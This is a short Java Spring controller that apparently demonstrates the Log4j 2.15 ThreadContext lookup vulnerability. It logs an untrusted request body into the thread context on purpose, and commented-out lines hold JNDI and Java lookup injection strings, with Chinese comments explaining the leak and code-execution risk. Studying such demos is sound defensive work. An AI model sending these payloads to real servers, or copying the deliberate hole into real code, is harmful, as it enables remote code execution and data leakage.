package com.technology.ctrm;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
import org.springframework.web.bind.annotation.*;

import java.time.LocalDateTime;
import java.util.HashMap;
import java.util.Map;

@RestController
//@Log4j2
public class CtrmController215 {
	private static final Logger logger = LogManager.getLogger(CtrmController215.class);

	/**
	 * 先升级log4j2版本为2.15展示问题
	 * @return
	 */
	@RequestMapping("/log4j215")
	public Map log4j215(@RequestBody final String id) {
//		String inputStr = "${jndi:ldap://127.0.0.1:8888/Exploit}";
//		String inputStr = "${jndi:rmi://127.0.0.1:7777/testObj}";
//		String inputStr = "${java:os} || ${java:vm} || ${java:version}";
		logger.info("inputStr:{}" ,id);
		// msg输出时,没调用远程加载类,正常输出;

		// 问题：控制线程上下文映射 (MDC) 输入数据的攻击者可以使用 JNDI 查找模式制作恶意输入数据，导致部分环境信息泄露和远程代码执行(只是尽力限制)。所有环境本地代码执行
		// 非默认布局中,只要攻击者能往ThreadContext等上下文放值,就可能导致敏感信息泄露。
		threadContextPut(id);

		return new HashMap() {{
			put("inputStr", id);
			put("timestamp", LocalDateTime.now());
		}};
	}

	private static void threadContextPut(String inputStr) {
		ThreadContext.put("myInput", inputStr);
		// PatternLayout pattern 非msg输出(看Log4j2.xml配置)
		logger.error("doSomeLog simpleText...");
	}

}
